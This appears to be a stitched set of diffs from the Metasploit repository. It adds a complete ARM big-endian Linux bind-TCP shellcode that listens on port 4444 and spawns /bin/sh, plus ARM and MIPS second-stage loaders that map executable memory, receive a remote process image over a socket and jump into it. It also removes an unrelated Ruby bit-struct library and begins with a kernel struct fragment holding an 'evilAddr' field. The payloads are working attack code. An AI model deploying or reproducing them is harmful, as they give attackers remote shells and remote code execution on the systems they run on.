||||
ULONG pad2[14];
|
||||
DWORD evilAddr;
|
||||
} BAD_DEVICE_OBJECT, *PBAD_DEVICE_OBJECT;
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,117 @@
|
||||
@@
|
||||
@
|
||||
@ Name: single_sock_bind
|
||||
@ Qualities: -
|
||||
@ Authors: Balazs Bucsay <@xoreipeip>
|
||||
@ License: MSF_LICENSE
|
||||
@ Description:
|
||||
@
|
||||
@ Implementation of a Linux bind TCP shellcode for ARM BE architecture.
|
||||
@
|
||||
@ Assemble with:
|
||||
@ armeb-buildroot-linux-uclibcgnueabi-as -mthumb single_sock_bind.s -o shellcode.o
|
||||
@ Link with:
|
||||
@ armeb-buildroot-linux-uclibcgnueabi-ld shellcode.o -o shellcode
|
||||
@
|
||||
@ Meta-Information:
|
||||
@
|
||||
@ meta-shortname=Linux Bind TCP
|
||||
@ meta-description=Listen on a port for a connection and run a second stage
|
||||
@ meta-authors=earthquake
|
||||
@ meta-os=linux
|
||||
@ meta-arch=armbe
|
||||
@ meta-category=singles
|
||||
@ meta-connection-type=bind
|
||||
@ meta-name=bind_tcp
|
||||
@@
|
||||
|
||||
|
||||
.section .text
|
||||
.global _start
|
||||
|
||||
_start:
|
||||
.code 32
|
||||
|
||||
@ Thumb-Mode on
|
||||
add r6, pc, #1
|
||||
bx r6
|
||||
.code 16
|
||||
|
||||
@ _socket(2,1,0)
|
||||
sub r2, r2, r2
|
||||
add r1, r2, #1
|
||||
add r0, r2, #2
|
||||
lsl r7, r1, #8
|
||||
add r7, r7, #0x19
|
||||
svc 1
|
||||
mov r6, r0
|
||||
|
||||
@ 1 uint8_t sin_len
|
||||
@ 1 sa_family_t sin_family
|
||||
@ 2 in_port_t sin_port
|
||||
@ 4 struct in_addr sin_addr
|
||||
@ 8 char sin_zero [8]
|
||||
@ 00 02 5C11 00000000 00000000 00000000
|
||||
@ 5c11 => 4444
|
||||
@ _bind()
|
||||
mov r2, #2
|
||||
lsl r2, r2, #8
|
||||
add r2, r2, #0x11
|
||||
lsl r2, r2, #8
|
||||
add r2, r2, #0x5C
|
||||
sub r3, r3, r3
|
||||
sub r4, r4, r4
|
||||
sub r5, r5, r5
|
||||
mov r1, sp
|
||||
stm r1!, {r2-r5}
|
||||
sub r1, #0x10
|
||||
mov r2, #16
|
||||
add r7, r7, #1
|
||||
svc 1
|
||||
|
||||
@ _listen()
|
||||
mov r0, r6
|
||||
sub r1, r1, r1
|
||||
add r7, r7, #2
|
||||
svc 1
|
||||
|
||||
@ _accept()
|
||||
mov r0, r6
|
||||
sub r2, r2, r2
|
||||
add r7, r7, #1
|
||||
svc 1
|
||||
mov r6, r0
|
||||
|
||||
@ _dup2()
|
||||
sub r1, r1, r1
|
||||
mov r7, #63
|
||||
svc 1
|
||||
|
||||
mov r0, r6
|
||||
add r1, r1, #1
|
||||
svc 1
|
||||
|
||||
mov r0, r6
|
||||
add r1, r1, #1
|
||||
svc 1
|
||||
|
||||
_execve()
|
||||
sub r2, r2, r2
|
||||
mov r0, pc
|
||||
add r0, #18
|
||||
@ next intstruction terminates the string beneath the code "//bin/sh"
|
||||
@ in case you want to say goodbye to the null character
|
||||
@ str r2, [r0, #8]
|
||||
str r2, [sp, #8]
|
||||
str r0, [sp, #4]
|
||||
add r1, sp, #4
|
||||
mov r7, #11
|
||||
svc 1
|
||||
|
||||
@ _exit()
|
||||
sub r4, r4, r4
|
||||
mov r0, r4
|
||||
mov r7, #1
|
||||
svc 1
|
||||
.ascii "//bin/sh\0"
|
||||
@.ascii "//bin/sh"
|
||||
@@ -0,0 +1,51 @@
|
||||
.global _start
|
||||
|
||||
@ Required symbols:
|
||||
@ SIZE: size of the final payload
|
||||
@ ENTRY: entry point offset from the start of the process image
|
||||
|
||||
.text
|
||||
_start:
|
||||
@ mmap the space for the mettle image
|
||||
mov r0, #0 @ address doesn't matter
|
||||
ldr r1, =SIZE @ more than 12-bits
|
||||
mov r2, #7 @ PROT_READ | PROT_WRITE | PROT_EXECUTE
|
||||
mov r3, #34 @ MAP_PRIVATE | MAP_ANONYMOUS
|
||||
mov r4, #0 @ no file
|
||||
mov r5, #0 @ no offset
|
||||
|
||||
mov r7, #192 @ syscall: mmap2
|
||||
svc #0
|
||||
|
||||
@ recv the process image
|
||||
@ r12 contains our socket from the reverse stager
|
||||
mov r2, r1 @ recv the whole thing (I, too, like to live dangerously)
|
||||
mov r1, r0 @ move the mmap to the recv buffer
|
||||
mov r0, r12 @ set the fd
|
||||
mov r3, #0x100 @ MSG_WAITALL
|
||||
|
||||
ldr r7, =#291 @ syscall: recv
|
||||
svc #0
|
||||
|
||||
@ set up the initial stack
|
||||
@ The final stack must be aligned, so we align and then make room backwards
|
||||
@ by _adding_ to sp.
|
||||
and sp, #-16 @ Align
|
||||
add sp, #36 + 4 @ Add room for initial stack and prog name
|
||||
mov r4, #109 @ "m" (0,0,0,109)
|
||||
push {r4} @ On the stack
|
||||
mov r4,#2 @ ARGC
|
||||
mov r5,sp @ ARGV[0] char *prog_name
|
||||
mov r6,r12 @ ARGV[1] int socket fd
|
||||
mov r7,#0 @ (NULL)
|
||||
mov r8,#0 @ (NULL) (Ending ENV)
|
||||
mov r9,#7 @ AT_BASE
|
||||
mov r10,r1 @ mmap'd address
|
||||
mov r11,#0 @ AT_NULL
|
||||
mov r12,#0
|
||||
push {r4-r12}
|
||||
|
||||
@ hack the planet
|
||||
ldr r0, =ENTRY
|
||||
add r0, r1
|
||||
bx r0
|
||||
@@ -0,0 +1,59 @@
|
||||
.global __start
|
||||
|
||||
# Required symbols:
|
||||
# SIZE: size of the final payload
|
||||
# ENTRY: entry point offset from the start of the process image
|
||||
|
||||
.text
|
||||
___start:
|
||||
# mmap the space for the mettle image
|
||||
move $a0, $zero # address doesn't matter
|
||||
li $a1, SIZE # more than 16-bits
|
||||
li $a2, 7 # PROT_READ | PROT_WRITE | PROT_EXECUTE
|
||||
li $a3, 0x802 # MAP_PRIVATE | MAP_ANONYMOUS
|
||||
|
||||
sw $0, 16($sp) # Dumb O32 ABI
|
||||
sw $0, 20($sp)
|
||||
|
||||
li $v0, 4090 # syscall: mmap
|
||||
syscall
|
||||
|
||||
# recv the process image
|
||||
# s2 contains our socket from the reverse stager
|
||||
move $a2, $a1 # recv the whole thing (I, too, like to live dangerously)
|
||||
move $a1, $v0 # move the mmap to the recv buffer
|
||||
move $a0, $s2 # set the fd
|
||||
li $a3, 0x100 # MSG_WAITALL
|
||||
|
||||
li $v0, 4175 # syscall: recv
|
||||
syscall
|
||||
|
||||
# set up the initial stack
|
||||
# The final stack must be aligned, so we align and then make room backwards
|
||||
# by _adding_ to sp.
|
||||
and $sp, $sp, -8 # Align
|
||||
li $t4, 0x6d00006d # BE/LE anagram of "m" (109, 0)
|
||||
sw $t4, 44($sp) # On the stack
|
||||
|
||||
# Initial program stack:
|
||||
li $t5, 2 # ARGC
|
||||
sw $t5, 0($sp)
|
||||
addi $t6, $sp, 44 # ARGV[0] char *prog_name
|
||||
sw $t6, 4($sp)
|
||||
sw $s2, 8($sp) # ARGV[1] int socket fd
|
||||
sw $0, 12($sp) # (NULL)
|
||||
sw $0, 16($sp) # (NULL) (Ending ENV)
|
||||
li $t7, 7 # AT_BASE
|
||||
sw $t7, 20($sp)
|
||||
sw $a1, 24($sp) # mmap'd address
|
||||
li $t8, 6 # AT_PAGESZ
|
||||
sw $t8, 28($sp)
|
||||
li $t9, 0x1000 # 4k
|
||||
sw $t9, 32($sp)
|
||||
sw $0, 36($sp) # AT_NULL
|
||||
sw $0, 40($sp)
|
||||
|
||||
# hack the planet
|
||||
li $s0, ENTRY
|
||||
add $s0, $s0, $a1
|
||||
jr $s0
|
||||
@@ -1,15 +0,0 @@
|
||||
# -*- coding: binary -*-
|
||||
# A Convenience to load all field classes and yaml handling.
|
||||
# XXX: Pretty certian this monkeypatch isn't required in Metasploit.
|
||||
|
||||
if "a"[0].kind_of? Fixnum
|
||||
unless Fixnum.methods.include? :ord
|
||||
class Fixnum
|
||||
def ord; self; end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
require 'bit-struct/bit-struct'
|
||||
require 'bit-struct/fields'
|
||||
require 'bit-struct/yaml'
|
||||
@@ -1,187 +0,0 @@
|
||||
= BitStruct
|
||||
|
||||
Class for packed binary data stored in ruby Strings. BitStruct accessors, generated from user declared fields, use pack/unpack to treat substrings as fields with a specified portable format.
|
||||
|
||||
Field types include:
|
||||
|
||||
* signed and unsigned integer (1..16 bits, or 24, 32, 40, 48... bits)
|
||||
|
||||
* numeric fields (signed, unsigned, float) can be designated as any of the following endians: little, big, native, network (default)
|
||||
|
||||
* fixed point, with arbitrary scale factor
|
||||
|
||||
* fixed length character array
|
||||
|
||||
* null-terminated character array for printable text
|
||||
|
||||
* octets (hex and decimal representation options; useful for IP and MAC addrs)
|
||||
|
||||
* float
|
||||
|
||||
* nested BitStruct
|
||||
|
||||
* vectors of embedded BitStructs
|
||||
|
||||
* free-form "rest" field (e.g., for the variable-size payload of a packet)
|
||||
|
||||
Field options (specifiable as :foo => val or "foo" => val) include:
|
||||
|
||||
* *display_name*: used in BitStruct#inspect_detailed and BitStruct#describe outputs.
|
||||
|
||||
* *default*: default field value
|
||||
|
||||
* *format*: alternate format string for inspect
|
||||
|
||||
* *endian*: for byte ordering of numeric fields (unsigned, signed, float): little, big, native, network (default)
|
||||
|
||||
* *fixed*: float stored as fixed-point integer, with specified scale factor
|
||||
|
||||
|
||||
== Installation
|
||||
|
||||
For .gem:
|
||||
|
||||
gem install bit-struct
|
||||
|
||||
For .tgz, unpack and then:
|
||||
|
||||
ruby install.rb config
|
||||
ruby install.rb setup
|
||||
ruby install.rb install
|
||||
|
||||
== Uses
|
||||
|
||||
BitStruct is useful for defining packets used in network protocols. This is especially useful for raw IP--see examples/ping-recv.rb. All multibyte numeric fields are stored by default in network order.
|
||||
|
||||
BitStruct is most efficient when your data is primarily treated as a binary string, and only secondarily treated as a data structure. (For instance, you are routing packets from one socket to another, possibly looking at one or two fields as it passes through or munging some headers.) If accessor operations are a bottleneck, a better approach is to define a class that wraps an array and uses pack/unpack when the object needs to behave like a binary string.
|
||||
|
||||
== Features
|
||||
|
||||
* Extensible with user-defined field classes.
|
||||
|
||||
* Fields are fully introspectable and can be defined programmatically.
|
||||
|
||||
* BitStruct.describe prints out documentation of all the fields of a BitStruct subclass, based on declarations. This is useful for communicating with developers who are not using ruby, but need to talk the same protocols. See Example, below.
|
||||
|
||||
* Fields are inherited by subclasses. (The free-form "rest" field does not inherit, because it usually represents a payload whose structure is defined in subclasses using the fixed-size fields.)
|
||||
|
||||
* BitStruct#inspect and BitStruct#inspect_detailed can be used for prettified display of contents. (More generally, BitStruct#inspect takes some options that control formatting and detail level.) See Example, below.
|
||||
|
||||
* BitStruct inherits from String, so all the usual methods are available, and string-sharing (copy-on-write) is in effect.
|
||||
|
||||
* Easy access to a "prototype" instance of each BitStruct subclass, from which all instances of that subclass are initialized as a copy (in the absence of other initialization parameters, such as a hash, a string, or a block). See BitStruct.initial_value, and BitStruct#initialize. See Example, below.
|
||||
|
||||
* Easy conversion to and from hashes, using BitStruct#to_h and BitStruct.new.
|
||||
|
||||
* BitStructs can persist using Marshal (a BitStruct is after all just a string) or using YAML (with human readable representation of the fields).
|
||||
|
||||
* Includes tests, examples, and rdoc API documentation.
|
||||
|
||||
== Limitations
|
||||
|
||||
* Fields that are not aligned on byte boundaries may cross no more than two bytes boundaries. (See examples/byte-bdy.rb.)
|
||||
|
||||
* No variable length fields (except the #rest field).
|
||||
|
||||
== Future plans
|
||||
|
||||
* Currently, the library is written in pure ruby. The implementation uses Array#pack and String#unpack calls, as well as shifting and masking in pure ruby. Future versions will optionally generate a customized C extension for better efficiency.
|
||||
|
||||
* A debug mode in which a class identifier is prepended to every BitStruct, so that protocol errors can be detected. (This feature has been implemented in an app that uses BitStruct, but needs to be refactored into the BitStruct library itself.)
|
||||
|
||||
* Remove field size and alignment limitations.
|
||||
|
||||
== Example
|
||||
|
||||
An IP packet can be defined and used like this:
|
||||
|
||||
require 'bit-struct'
|
||||
|
||||
class IP < BitStruct
|
||||
unsigned :ip_v, 4, "Version"
|
||||
unsigned :ip_hl, 4, "Header length"
|
||||
unsigned :ip_tos, 8, "TOS"
|
||||
unsigned :ip_len, 16, "Length"
|
||||
unsigned :ip_id, 16, "ID"
|
||||
unsigned :ip_off, 16, "Frag offset"
|
||||
unsigned :ip_ttl, 8, "TTL"
|
||||
unsigned :ip_p, 8, "Protocol"
|
||||
unsigned :ip_sum, 16, "Checksum"
|
||||
octets :ip_src, 32, "Source addr"
|
||||
octets :ip_dst, 32, "Dest addr"
|
||||
rest :body, "Body of message"
|
||||
|
||||
note " rest is application defined message body"
|
||||
|
||||
initial_value.ip_v = 4
|
||||
initial_value.ip_hl = 5
|
||||
end
|
||||
|
||||
ip = IP.new
|
||||
ip.ip_tos = 0
|
||||
ip.ip_len = 0
|
||||
ip.ip_id = 0
|
||||
ip.ip_off = 0
|
||||
ip.ip_ttl = 255
|
||||
ip.ip_p = 255
|
||||
ip.ip_sum = 0
|
||||
ip.ip_src = "192.168.1.4"
|
||||
ip.ip_dst = "192.168.1.255"
|
||||
ip.body = "This is the payload text."
|
||||
ip.ip_len = ip.length
|
||||
|
||||
puts ip.inspect
|
||||
puts "-"*50
|
||||
puts ip.inspect_detailed
|
||||
puts "-"*50
|
||||
puts IP.describe
|
||||
|
||||
(Note that you can also construct an IP packet by passing a string to new, or by passing a hash of <tt>field,value</tt> pairs, or by providing a block that is yielded the new BitStruct.)
|
||||
|
||||
The output of this fragment is:
|
||||
|
||||
#<IP ip_v=4, ip_hl=5, ip_tos=0, ip_len=45, ip_id=0, ip_off=0, ip_ttl=255, ip_p=255, ip_sum=0, ip_src="192.168.1.4", ip_dst="192.168.1.255", body="This is the payload text.">
|
||||
--------------------------------------------------
|
||||
IP:
|
||||
Version = 4
|
||||
Header length = 5
|
||||
TOS = 0
|
||||
Length = 45
|
||||
ID = 0
|
||||
Frag offset = 0
|
||||
TTL = 255
|
||||
Protocol = 255
|
||||
Checksum = 0
|
||||
Source addr = "192.168.1.4"
|
||||
Dest addr = "192.168.1.255"
|
||||
Body of message = "This is the payload text."
|
||||
--------------------------------------------------
|
||||
|
||||
Description of IP Packet:
|
||||
byte: type name [size] description
|
||||
----------------------------------------------------------------------
|
||||
@0: unsigned ip_v [ 4b] Version
|
||||
@0: unsigned ip_hl [ 4b] Header length
|
||||
@1: unsigned ip_tos [ 8b] TOS
|
||||
@2: unsigned ip_len [ 16b] Length
|
||||
@4: unsigned ip_id [ 16b] ID
|
||||
@6: unsigned ip_off [ 16b] Frag offset
|
||||
@8: unsigned ip_ttl [ 8b] TTL
|
||||
@9: unsigned ip_p [ 8b] Protocol
|
||||
@10: unsigned ip_sum [ 16b] Checksum
|
||||
@12: octets ip_src [ 32b] Source addr
|
||||
@16: octets ip_dst [ 32b] Dest addr
|
||||
rest is application defined message body
|
||||
|
||||
== Web site
|
||||
|
||||
The current version of this software can be found at http://redshift.sourceforge.net/bit-struct.
|
||||
|
||||
== License
|
||||
|
||||
This software is distributed under the Ruby license. See http://www.ruby-lang.org.
|
||||
|
||||
== Author
|
||||
|
||||
Joel VanderWerf, mailto:vjoel@users.sourceforge.net
|
||||
Copyright (c) 2005-2009, Joel VanderWerf.
|
||||
@@ -1,575 +0,0 @@
|
||||
# -*- coding: binary -*-
|
||||
# Class for packed binary data, with defined bitfields and accessors for them.
|
||||
# See {intro.txt}[link:../doc/files/intro_txt.html] for an overview.
|
||||
#
|
||||
# Data after the end of the defined fields is accessible using the +rest+
|
||||
# declaration. See examples/ip.rb. Nested fields can be declared using +nest+.
|
||||
# See examples/nest.rb.
|
||||
#
|
||||
# Note that all string methods are still available: length, grep, etc.
|
||||
# The String#replace method is useful.
|
||||
#
|
||||
class BitStruct < String
|
||||
VERSION = "0.13.6"
|
||||
|
||||
class Field
|
||||
# Offset of field in bits.
|
||||
attr_reader :offset
|
||||
|
||||
# Length of field in bits.
|
||||
attr_reader :length
|
||||
alias size length
|
||||
|
||||
# Name of field (used for its accessors).
|
||||
attr_reader :name
|
||||
|
||||
# Options, such as :default (varies for each field subclass).
|
||||
# In general, options can be provided as strings or as symbols.
|
||||
attr_reader :options
|
||||
|
||||
# Display name of field (used for printing).
|
||||
attr_reader :display_name
|
||||
|
||||
# Default value.
|
||||
attr_reader :default
|
||||
|
||||
# Format for printed value of field.
|
||||
attr_reader :format
|
||||
|
||||
# Subclasses can override this to define a default for all fields of this
|
||||
# class, not just the one currently being added to a BitStruct class, a
|
||||
# "default default" if you will. The global default, if #default returns
|
||||
# nil, is to fill the field with zero. Most field classes just let this
|
||||
# default stand. The default can be overridden per-field when a BitStruct
|
||||
# class is defined.
|
||||
def self.default; nil; end
|
||||
|
||||
# Used in describe.
|
||||
def self.class_name
|
||||
@class_name ||= name[/\w+$/]
|
||||
end
|
||||
|
||||
# Used in describe. Can be overridden per-subclass, as in NestedField.
|
||||
def class_name
|
||||
self.class.class_name
|
||||
end
|
||||
|
||||
# Yield the description of this field, as an array of 5 strings: byte
|
||||
# offset, type, name, size, and description. The opts hash may have:
|
||||
#
|
||||
# :expand :: if the value is true, expand complex fields
|
||||
#
|
||||
# (Subclass implementations may yield more than once for complex fields.)
|
||||
#
|
||||
def describe opts
|
||||
bits = size
|
||||
if bits > 32 and bits % 8 == 0
|
||||
len_str = "%dB" % (bits/8)
|
||||
else
|
||||
len_str = "%db" % bits
|
||||
end
|
||||
|
||||
byte_offset = offset / 8 + (opts[:byte_offset] || 0)
|
||||
|
||||
yield ["@%d" % byte_offset, class_name, name, len_str, display_name]
|
||||
end
|
||||
|
||||
# Options are _display_name_, _default_, and _format_ (subclasses of Field
|
||||
# may add other options).
|
||||
def initialize(offset, length, name, opts = {})
|
||||
@offset, @length, @name, @options =
|
||||
offset, length, name, opts
|
||||
|
||||
@display_name = opts[:display_name] || opts["display_name"]
|
||||
@default = opts[:default] || opts["default"] || self.class.default
|
||||
@format = opts[:format] || opts["format"]
|
||||
end
|
||||
|
||||
# Inspect the value of this field in the specified _obj_.
|
||||
def inspect_in_object(obj, opts)
|
||||
val = obj.send(name)
|
||||
str =
|
||||
begin
|
||||
val.inspect(opts)
|
||||
rescue ArgumentError # assume: "wrong number of arguments (1 for 0)"
|
||||
val.inspect
|
||||
end
|
||||
(f=@format) ? (f % str) : str
|
||||
end
|
||||
|
||||
# Normally, all fields show up in inspect, but some, such as padding,
|
||||
# should not.
|
||||
def inspectable?; true; end
|
||||
end
|
||||
|
||||
NULL_FIELD = Field.new(0, 0, :null, :display_name => "null field")
|
||||
|
||||
# Raised when a field is added after an instance has been created. Fields
|
||||
# cannot be added after this point.
|
||||
class ClosedClassError < StandardError; end
|
||||
|
||||
# Raised if the chosen field name is not allowed, either because another
|
||||
# field by that name exists, or because a method by that name exists.
|
||||
class FieldNameError < StandardError; end
|
||||
|
||||
@default_options = {}
|
||||
|
||||
@initial_value = nil
|
||||
@closed = nil
|
||||
@rest_field = nil
|
||||
@note = nil
|
||||
|
||||
class << self
|
||||
def inherited cl
|
||||
cl.instance_eval do
|
||||
@initial_value = nil
|
||||
@closed = nil
|
||||
@rest_field = nil
|
||||
@note = nil
|
||||
end
|
||||
end
|
||||
|
||||
# ------------------------
|
||||
# :section: field access methods
|
||||
#
|
||||
# For introspection and metaprogramming.
|
||||
#
|
||||
# ------------------------
|
||||
|
||||
# Return the list of fields for this class.
|
||||
def fields
|
||||
@fields ||= self == BitStruct ? [] : superclass.fields.dup
|
||||
end
|
||||
|
||||
# Return the list of fields defined by this class, not inherited
|
||||
# from the superclass.
|
||||
def own_fields
|
||||
@own_fields ||= []
|
||||
end
|
||||
|
||||
# Add a field to the BitStruct (usually, this is only used internally).
|
||||
def add_field(name, length, opts = {})
|
||||
round_byte_length ## just to make sure this has been calculated
|
||||
## before adding anything
|
||||
|
||||
name = name.to_sym
|
||||
|
||||
if @closed
|
||||
raise ClosedClassError, "Cannot add field #{name}: " +
|
||||
"The definition of the #{self.inspect} BitStruct class is closed."
|
||||
end
|
||||
|
||||
if fields.find {|f|f.name == name}
|
||||
raise FieldNameError, "Field #{name} is already defined as a field."
|
||||
end
|
||||
|
||||
if instance_methods(true).find {|m| m == name}
|
||||
if opts[:allow_method_conflict] || opts["allow_method_conflict"]
|
||||
warn "Field #{name} is already defined as a method."
|
||||
else
|
||||
raise FieldNameError,"Field #{name} is already defined as a method."
|
||||
end
|
||||
end
|
||||
|
||||
field_class = opts[:field_class]
|
||||
|
||||
prev = fields[-1] || NULL_FIELD
|
||||
offset = prev.offset + prev.length
|
||||
field = field_class.new(offset, length, name, opts)
|
||||
field.add_accessors_to(self)
|
||||
fields << field
|
||||
own_fields << field
|
||||
@bit_length += field.length
|
||||
@round_byte_length = (bit_length/8.0).ceil
|
||||
|
||||
if @initial_value
|
||||
diff = @round_byte_length - @initial_value.length
|
||||
if diff > 0
|
||||
@initial_value << "\0" * diff
|
||||
end
|
||||
end
|
||||
|
||||
field
|
||||
end
|
||||
|
||||
def parse_options(ary, default_name, default_field_class) # :nodoc:
|
||||
opts = ary.grep(Hash).first || {}
|
||||
opts = default_options.merge(opts)
|
||||
|
||||
opts[:display_name] = ary.grep(String).first || default_name
|
||||
opts[:field_class] = ary.grep(Class).first || default_field_class
|
||||
|
||||
opts
|
||||
end
|
||||
|
||||
# Get or set the hash of default options for the class, which apply to all
|
||||
# fields. Changes take effect immediately, so can be used alternatingly with
|
||||
# blocks of field declarations. If +h+ is provided, update the default
|
||||
# options with that hash. Default options are inherited.
|
||||
#
|
||||
# This is especially useful with the <tt>:endian => val</tt> option.
|
||||
def default_options h = nil
|
||||
@default_options ||= superclass.default_options.dup
|
||||
if h
|
||||
@default_options.merge! h
|
||||
end
|
||||
@default_options
|
||||
end
|
||||
|
||||
# Length, in bits, of this object.
|
||||
def bit_length
|
||||
@bit_length ||= fields.inject(0) {|a, f| a + f.length}
|
||||
end
|
||||
|
||||
# Length, in bytes (rounded up), of this object.
|
||||
def round_byte_length
|
||||
@round_byte_length ||= (bit_length/8.0).ceil
|
||||
end
|
||||
|
||||
def closed! # :nodoc:
|
||||
@closed = true
|
||||
end
|
||||
|
||||
def field_by_name name
|
||||
@field_by_name ||= {}
|
||||
field = @field_by_name[name]
|
||||
unless field
|
||||
field = fields.find {|f| f.name == name}
|
||||
@field_by_name[name] = field if field
|
||||
end
|
||||
field
|
||||
end
|
||||
end
|
||||
|
||||
# Return the list of fields for this class.
|
||||
def fields
|
||||
self.class.fields
|
||||
end
|
||||
|
||||
# Return the rest field for this class.
|
||||
def rest_field
|
||||
self.class.rest_field
|
||||
end
|
||||
|
||||
# Return the field with the given name.
|
||||
def field_by_name name
|
||||
self.class.field_by_name name
|
||||
end
|
||||
|
||||
# ------------------------
|
||||
# :section: metadata inspection methods
|
||||
#
|
||||
# Methods to textually describe the format of a BitStruct subclass.
|
||||
#
|
||||
# ------------------------
|
||||
|
||||
class << self
|
||||
# Default format for describe. Fields are byte, type, name, size,
|
||||
# and description.
|
||||
DESCRIBE_FORMAT = "%8s: %-12s %-14s[%4s] %s"
|
||||
|
||||
# Can be overridden to use a different format.
|
||||
def describe_format
|
||||
DESCRIBE_FORMAT
|
||||
end
|
||||
|
||||
# Textually describe the fields of this class of BitStructs.
|
||||
# Returns a printable table (array of line strings), based on +fmt+,
|
||||
# which defaults to #describe_format, which defaults to +DESCRIBE_FORMAT+.
|
||||
def describe(fmt = nil, opts = {})
|
||||
if fmt.kind_of? Hash
|
||||
opts = fmt; fmt = nil
|
||||
end
|
||||
|
||||
if block_given?
|
||||
fields.each do |field|
|
||||
field.describe(opts) do |desc|
|
||||
yield desc
|
||||
end
|
||||
end
|
||||
nil
|
||||
|
||||
else
|
||||
fmt ||= describe_format
|
||||
|
||||
result = []
|
||||
|
||||
unless opts[:omit_header]
|
||||
result << fmt % ["byte", "type", "name", "size", "description"]
|
||||
result << "-"*70
|
||||
end
|
||||
|
||||
fields.each do |field|
|
||||
field.describe(opts) do |desc|
|
||||
result << fmt % desc
|
||||
end
|
||||
end
|
||||
|
||||
unless opts[:omit_footer]
|
||||
result << @note if @note
|
||||
end
|
||||
|
||||
result
|
||||
end
|
||||
end
|
||||
|
||||
# Subclasses can use this to append a string (or several) to the #describe
|
||||
# output. Notes are not cumulative with inheritance. When used with no
|
||||
# arguments simply returns the note string
|
||||
def note(*str)
|
||||
@note = str unless str.empty?
|
||||
@note
|
||||
end
|
||||
end
|
||||
|
||||
# ------------------------
|
||||
# :section: initialization and conversion methods
|
||||
#
|
||||
# ------------------------
|
||||
|
||||
# Initialize the string with the given string or bitstruct, or with a hash of
|
||||
# field=>value pairs, or with the defaults for the BitStruct subclass, or
|
||||
# with an IO or other object with a #read method. Fields can be strings or
|
||||
# symbols. Finally, if a block is given, yield the instance for modification
|
||||
# using accessors.
|
||||
def initialize(value = nil) # :yields: instance
|
||||
self << self.class.initial_value
|
||||
|
||||
case value
|
||||
when Hash
|
||||
value.each do |k, v|
|
||||
send "#{k}=", v
|
||||
end
|
||||
|
||||
when nil
|
||||
|
||||
else
|
||||
if value.respond_to?(:read)
|
||||
value = value.read(self.class.round_byte_length)
|
||||
end
|
||||
|
||||
self[0, value.length] = value
|
||||
end
|
||||
|
||||
self.class.closed!
|
||||
yield self if block_given?
|
||||
end
|
||||
|
||||
DEFAULT_TO_H_OPTS = {
|
||||
:convert_keys => :to_sym,
|
||||
:include_rest => true
|
||||
}
|
||||
|
||||
# Returns a hash of {name=>value,...} for each field. By default, include
|
||||
# the rest field.
|
||||
# Keys are symbols derived from field names using +to_sym+, unless
|
||||
# <tt>opts[:convert_keys]<\tt> is set to some other method name.
|
||||
def to_h(opts = DEFAULT_TO_H_OPTS)
|
||||
converter = opts[:convert_keys] || :to_sym
|
||||
|
||||
fields_for_to_h = fields
|
||||
if opts[:include_rest] and (rest_field = self.class.rest_field)
|
||||
fields_for_to_h += [rest_field]
|
||||
end
|
||||
|
||||
fields_for_to_h.inject({}) do |h,f|
|
||||
h[f.name.send(converter)] = send(f.name)
|
||||
h
|
||||
end
|
||||
end
|
||||
|
||||
# Returns an array of values of the fields of the BitStruct. By default,
|
||||
# include the rest field.
|
||||
def to_a(include_rest = true)
|
||||
ary =
|
||||
fields.map do |f|
|
||||
send(f.name)
|
||||
end
|
||||
|
||||
if include_rest and (rest_field = self.class.rest_field)
|
||||
ary << send(rest_field.name)
|
||||
end
|
||||
ary
|
||||
end
|
||||
|
||||
## temporary hack for 1.9
|
||||
if "a"[0].kind_of? String
|
||||
def [](*args)
|
||||
if args.size == 1 and args[0].kind_of?(Fixnum)
|
||||
super.ord
|
||||
else
|
||||
super
|
||||
end
|
||||
end
|
||||
|
||||
def []=(*args)
|
||||
if args.size == 2 and (i=args[0]).kind_of?(Fixnum)
|
||||
super(i, args[1].chr)
|
||||
else
|
||||
super
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
class << self
|
||||
# The unique "prototype" object from which new instances are copied.
|
||||
# The fields of this instance can be modified in the class definition
|
||||
# to set default values for the fields in that class. (Otherwise, defaults
|
||||
# defined by the fields themselves are used.) A copy of this object is
|
||||
# inherited in subclasses, which they may override using defaults and
|
||||
# by writing to the initial_value object itself.
|
||||
#
|
||||
# If called with a block, yield the initial value object before returning
|
||||
# it. Useful for customization within a class definition.
|
||||
#
|
||||
def initial_value # :yields: the initial value
|
||||
unless @initial_value
|
||||
iv = defined?(superclass.initial_value) ?
|
||||
superclass.initial_value.dup : ""
|
||||
if iv.length < round_byte_length
|
||||
iv << "\0" * (round_byte_length - iv.length)
|
||||
end
|
||||
|
||||
@initial_value = "" # Serves as initval while the real initval is inited
|
||||
@initial_value = new(iv)
|
||||
@closed = false # only creating the first _real_ instance closes.
|
||||
|
||||
fields.each do |field|
|
||||
@initial_value.send("#{field.name}=", field.default) if field.default
|
||||
end
|
||||
end
|
||||
yield @initial_value if block_given?
|
||||
@initial_value
|
||||
end
|
||||
|
||||
# Take +data+ (a string or BitStruct) and parse it into instances of
|
||||
# the +classes+, returning them in an array. The classes can be given
|
||||
# as an array or a separate arguments. (For parsing a string into a _single_
|
||||
# BitStruct instance, just use the #new method with the string as an arg.)
|
||||
def parse(data, *classes)
|
||||
classes.flatten.map do |c|
|
||||
c.new(data.slice!(0...c.round_byte_length))
|
||||
end
|
||||
end
|
||||
|
||||
# Join the given structs (array or multiple args) as a string.
|
||||
# Actually, the inherited String#+ instance method is the same, as is using
|
||||
# Array#join.
|
||||
def join(*structs)
|
||||
structs.flatten.map {|struct| struct.to_s}.join("")
|
||||
end
|
||||
end
|
||||
|
||||
# ------------------------
|
||||
# :section: inspection methods
|
||||
#
|
||||
# ------------------------
|
||||
|
||||
DEFAULT_INSPECT_OPTS = {
|
||||
:format => "#<%s %s>",
|
||||
:field_format => "%s=%s",
|
||||
:separator => ", ",
|
||||
:field_name_meth => :name,
|
||||
:include_rest => true,
|
||||
:brackets => ["[", "]"],
|
||||
:include_class => true,
|
||||
:simple_format => "<%s>"
|
||||
}
|
||||
|
||||
DETAILED_INSPECT_OPTS = {
|
||||
:format => "%s:\n%s",
|
||||
:field_format => "%30s = %s",
|
||||
:separator => "\n",
|
||||
:field_name_meth => :display_name,
|
||||
:include_rest => true,
|
||||
:brackets => [nil, "\n"],
|
||||
:include_class => true,
|
||||
:simple_format => "\n%s"
|
||||
}
|
||||
|
||||
# A standard inspect method which does not add newlines.
|
||||
def inspect(opts = DEFAULT_INSPECT_OPTS)
|
||||
field_format = opts[:field_format]
|
||||
field_name_meth = opts[:field_name_meth]
|
||||
|
||||
